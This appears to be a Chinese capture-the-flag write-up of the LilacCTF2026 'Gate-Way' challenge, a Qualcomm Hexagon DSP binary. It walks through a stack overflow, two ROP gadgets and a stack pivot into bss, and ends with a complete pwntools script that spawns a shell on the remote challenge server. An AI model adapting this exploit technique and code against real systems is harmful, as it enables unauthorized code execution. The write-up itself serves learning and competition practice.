第一次见这种架构的,大佬说不常见架构的题不会太难,主要是指令集有学习成本,记录一下
1 程序分析
高通 DSP,32 位没开 PIE
1 2 3 4 5 6 7 8 9
| (pwn)secreu@Vanilla:~/code/LilacCTF2026/Gate-Way$ file pwn pwn: ELF 32-bit LSB executable, QUALCOMM DSP6, version 1 (SYSV), statically linked, stripped (pwn)secreu@Vanilla:~/code/LilacCTF2026/Gate-Way$ checksec --file=pwn [*] '/home/secreu/code/LilacCTF2026/Gate-Way/pwn' Arch: em_qdsp6-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x10000)
|
需要结合插件才能反编译
推荐使用 Ghidra,可以看反汇编的 C 伪代码,IDA 只能看汇编
定位到 main,给了 2 个菜单,乍一看像是堆题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| void main(void) { int iVar1; sbyte local_c [2]; sbyte local_a [2]; LAB_00021318: do { menu(); fflush(&DAT_00047540); iVar1 = read(0,local_a,2); if (iVar1 < 1) { LAB_0002147c: puts("Bye\n"); fflush(&DAT_00047540); return; } if ((local_a[0] == '1') == true) { do { manage_menu(); fflush(&DAT_00047540); iVar1 = read(0,local_c,2); if (iVar1 < 1) goto LAB_0002147c; if ((local_c[0] == '1') == true) { iVar1 = register_service(); } else if ((local_c[0] == '2') == true) { iVar1 = delete_service(); } else { if ((local_c[0] == '3') != true) goto LAB_00021318; iVar1 = show_service(); } if ((iVar1 == -1) == true) goto LAB_0002147c; } while( true ); } if ((local_a[0] == '2') != true) goto LAB_0002147c; memset(&DAT_000475f0,0,0x400); puts("Reset success\n"); } while( true ); }
|
register_service 中存在很明显的缓冲区溢出,readline 接收输入,然后找到 |,找到了并且前面有内容,说明输入合规。然后检查 bss 段 0x475F0,将输入复制过去
注意这里的 strchr 检测到 \x00 直接返回,所以不能在 | 前有 \x00
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| undefined4 register_service(void) { int iVar1; int iVar2; int iVar3; undefined1 auStack_70 [100]; undefined4 local_c; puts("Input ip:port|description\n"); puts("Example: \n"); puts("172.16.0.1:7777|Location Lookup Service\n"); puts("<<"); fflush(&DAT_00047540); iVar1 = read_line(auStack_70); if ((iVar1 == -1) == true) { local_c = 0xffffff7f; } else { iVar2 = strchr(auStack_70,L'|'); if ((iVar2 == 0) == true) { puts("Parse Service error\n"); local_c = 0xffffff7f; } else { iVar2 = strlen(&DAT_000475f0); iVar3 = strlen(auStack_70); if (0x400U < (uint)(iVar2 + iVar3) == true) { puts("Service list is full\n"); local_c = 0xffffff7f; } else { memcpy(iVar2 + 0x75f0,auStack_70,iVar1); *(undefined4 *)(&DAT_000475f0 + iVar2 + iVar1) = L';'; local_c = 0; } } } return local_c; }
|
readline 函数读取到 \n 才会结束,这导致我们可以溢出 auStack_70,也就是 FP - 0x68
1 2
| 00021010 00 f3 fe bf { r0 = add(FP,-0x68) } 00021014 8e ff ff 5b { call read_line }
|
2 漏洞利用
所以这道题就是找 gadget,构造系统调用执行 execve('/bin/sh', 0, 0)
Hexagon 的系统调用是 trap0,在 IDA 和 Ghidra 反编译显示的汇编指令会有所不同,直接用 Search Text 搜索即可
找到第一个用来执行系统调用的 gadget。r0、r1、r2 是参数,r6 是系统调用号,execve 对应 221
1 2 3 4 5 6 7
| .text:000214F4 00 C0 70 70 { r0 = r16 } .text:000214F8 01 C0 71 70 { r1 = r17 } .text:000214FC 02 C0 72 70 { r2 = r18 } .text:00021500 06 C0 73 70 { r6 = r19 } .text:00021504 04 C0 00 54 { trap0(#1) } .text:00021508 00 C0 00 78 { r0 = #0 } .text:0002150C 1E C0 1E 96 { dealloc_return }
|
然后要找 gadget,将我们能写的栈上数据赋值给 r16、r17、r18、r19。这里找到第二条 gadget,memd 是取内存 64 字节,r17:r16 表示 r17 高 32 位,r16 取低 32 位,var_8 为 -0x8,var_10 为 -0x10
1 2 3
| .text:000217E4 05 1E { r17:16 = memd(sp + #0x10+var_8) .text:000217E6 0C 3E r19:18 = memd(sp + #0x10+var_10) } .text:000217E8 1E C0 1E 96 { dealloc_return }
|
最后是 dealloc_return,其作用类似于 leave ; ret
Hexagon 会对保存的返回地址做异或加密,即 saved LR = LR XOR FRAMEKEY,默认情况下 FRAMEKEY = 0
首先用缓冲区溢出覆盖 saved LR,执行第二条 gadget 准备参数
然后由于 dealloc_return 必然造成 SP = saved FP 栈迁移,我们可以利用程序会将输入复制到 bss 段上 0x475F0 的特性,覆盖 saved FP,栈迁移到 bss 段上执行第一条 gadget 执行系统调用
这里 paylaod 先用 16 字节 AAAAAAAAAAAAAAA| 绕过了输入校验,所以栈迁移到 0x475F0 + 0x10
1 2 3
| payload = b'A' * 15 + b'|' + p32(service_list + 0x10) + p32(gadget_syscall) + b'/bin/sh\x00' payload = payload.ljust(0x68, b'\x00') payload += p32(service_list + 0x10) + p32(gadget_setregs) + p32(0) + p32(221) + p32(service_list + 0x18) + p32(0)
|
3 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import *
elf = ELF("./pwn") context.log_level = 'debug'
def exploit(): service_list = 0x475f0
gadget_syscall = 0x214F4
gadget_setregs = 0x217E4
io.sendlineafter(b"3. Exit.\n", b"1") io.sendlineafter(b"3. Show Service.\n", b"1")
payload = b'A' * 15 + b'|' + p32(service_list + 0x10) + p32(gadget_syscall) + b'/bin/sh\x00' payload = payload.ljust(0x68, b'\x00') payload += p32(service_list + 0x10) + p32(gadget_setregs) + p32(0) + p32(221) + p32(service_list + 0x18) + p32(0) io.sendlineafter(b"<<", payload)
io.interactive()
if __name__ == "__main__": if args.REMOTE: io = remote("1.95.71.133", 8888, timeout=10) else: io = process([ './qemu-hexagon', '-L', 'libc', '-d', 'in_asm,exec,cpu,nochain', '-dfilter', '0x214F4+0x1c', '-strace', '-D', './log', elf.path ])
exploit()
|